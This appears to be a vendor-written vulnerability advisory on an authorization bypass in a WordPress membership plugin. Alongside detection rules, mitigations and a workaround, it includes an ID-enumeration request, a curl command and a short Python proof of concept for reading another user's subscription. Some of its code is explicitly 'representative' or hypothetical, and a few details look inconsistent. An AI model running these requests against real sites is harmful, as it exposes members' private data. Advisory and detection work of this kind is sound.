CVE-2025-68514
Executive Summary
CVE-2025-68514 is an Authorization Bypass Through User-Controlled Key vulnerability (CWE-639) in the Cozmoslabs Paid Member Subscriptions WordPress plugin, affecting versions up to and including 2.16.8. This flaw allows an unauthenticated attacker to manipulate user-controlled keys (e.g., subscription IDs, user IDs) to bypass access controls and gain unauthorized access to restricted membership features or data. The vulnerability is classified as Medium severity (CVSS 6.5) and currently has no official patch from the vendor. Given the widespread use of this plugin on WordPress sites, the risk of exploitation is significant, especially for sites handling sensitive member data.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. As a supply chain risk, any site running an unpatched version (<= 2.16.8) is exposed. Since no patch exists, site administrators must consider temporary mitigations such as disabling the plugin or implementing web application firewall (WAF) rules.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Exploit does not affect other components.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. The low complexity and no privileges required make this an attractive target for automated scanning and exploitation.
Deep Dive & Mechanics
The vulnerability resides in the plugin’s access control logic, specifically in how it validates user-submitted keys (e.g., subscription_id, user_id, or member_id) when processing membership actions. The plugin fails to verify that the key belongs to the current user or that the user has the appropriate role to access the resource. An attacker can craft a request with a modified key to access another user’s subscription details, upgrade/downgrade memberships, or view sensitive member data.
Root Cause: The plugin uses user-controlled parameters (e.g., $_GET['subscription_id'] or $_POST['user_id']) directly in database queries or permission checks without proper validation or nonce verification. This allows an attacker to enumerate valid keys and bypass authorization.
Attack Vector: HTTP GET/POST requests to vulnerable endpoints such as:
/wp-admin/admin-ajax.php?action=pms_handle_member_subscription&subscription_id=ATTACKER_CONTROLLED/wp-json/pms/v1/members/{user_id}
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is present in all versions <= 2.16.8. Below is a representative example of the flawed logic:
Vulnerable Code (PHP):
// In pms-member-subscriptions.php
function pms_get_member_subscription() {
$subscription_id = $_GET['subscription_id']; // No validation
$subscription = get_post($subscription_id);
// No check if current user owns this subscription
return $subscription;
}
Expected Patched Code (Hypothetical):
function pms_get_member_subscription() {
$subscription_id = intval($_GET['subscription_id']);
$subscription = get_post($subscription_id);
if ( $subscription->post_author != get_current_user_id() ) {
wp_die('Unauthorized');
}
return $subscription;
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Target WordPress site with Paid Member Subscriptions <= 2.16.8.
- A valid subscription ID (can be enumerated via brute-force or by observing legitimate traffic).
Exploit Steps:
- Enumerate subscription IDs by sending requests to:
GET /wp-admin/admin-ajax.php?action=pms_get_subscription&subscription_id=1 - If the response returns data for a subscription not owned by the attacker, the vulnerability is confirmed.
- Use the following curl command to access another user’s subscription:
(Note: No authentication cookie is required if the endpoint is not protected.)curl -X GET "http://target.com/wp-admin/admin-ajax.php?action=pms_get_subscription&subscription_id=42" -H "Cookie: wordpress_logged_in_..."
Proof-of-Concept (Python):
import requests
target = "http://target.com/wp-admin/admin-ajax.php"
params = {
"action": "pms_get_subscription",
"subscription_id": 42
}
response = requests.get(target, params=params)
print(response.text)
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual spikes in requests to
admin-ajax.phpwithaction=pms_*parameters. - Look for sequential or brute-forced
subscription_idvalues in logs. - Use the Sigma rule below to detect exploitation attempts.
Mitigation:
- Disable the plugin until a patch is available.
- Implement a WAF rule to block requests with suspicious
subscription_idpatterns. - Restrict access to
admin-ajax.phpfor unauthenticated users.
Indicators of Compromise (IOCs)
- Network IOCs:
- Repeated GET requests to
/wp-admin/admin-ajax.phpwithaction=pms_get_subscriptionor similar. - Requests containing
subscription_idparameter with numeric values outside normal range.
- Repeated GET requests to
- File IOCs:
- Modified or new files in
/wp-content/plugins/paid-member-subscriptions/(e.g., backdoored PHP files).
- Modified or new files in
- Log IOCs:
- Web server logs showing 200 responses to unauthorized subscription access attempts.
Detection Engineering
YARA Rule
rule CVE_2025_68514_WordPress_Plugin {
meta:
description = "Detects exploitation attempts for CVE-2025-68514 in Paid Member Subscriptions"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-68514"
strings:
$s1 = "pms_get_subscription" nocase
$s2 = "subscription_id" nocase
$s3 = "admin-ajax.php" nocase
condition:
all of them
}
Sigma Rule
title: CVE-2025-68514 - Authorization Bypass in Paid Member Subscriptions
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit authorization bypass via user-controlled key in Paid Member Subscriptions plugin.
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- "action=pms_get_subscription"
- "action=pms_handle_member_subscription"
cs-uri-query|re: 'subscription_id=\d+'
condition: selection
falsepositives:
- Legitimate admin actions
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-68514 - Paid Member Subscriptions Authorization Bypass"; flow:to_server,established; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=pms_get_subscription"; http_uri; content:"subscription_id"; http_uri; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if it is not critical to operations.
- Apply virtual patching via WAF (e.g., ModSecurity rule to block
subscription_idin query strings for unauthenticated users). - Monitor logs for exploitation attempts using the provided Sigma rule.
Long-Term Fix:
- Await an official patch from Cozmoslabs. Until then, consider replacing the plugin with an alternative membership solution.
- Implement additional access controls at the application level (e.g., nonce verification, user ownership checks).
Workaround:
- Add the following code to the theme’s
functions.phpto block unauthenticated access to vulnerable endpoints:
add_action('init', function() {
if ( isset($_GET['action']) && strpos($_GET['action'], 'pms_') === 0 && !is_user_logged_in() ) {
wp_die('Access denied');
}
});
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.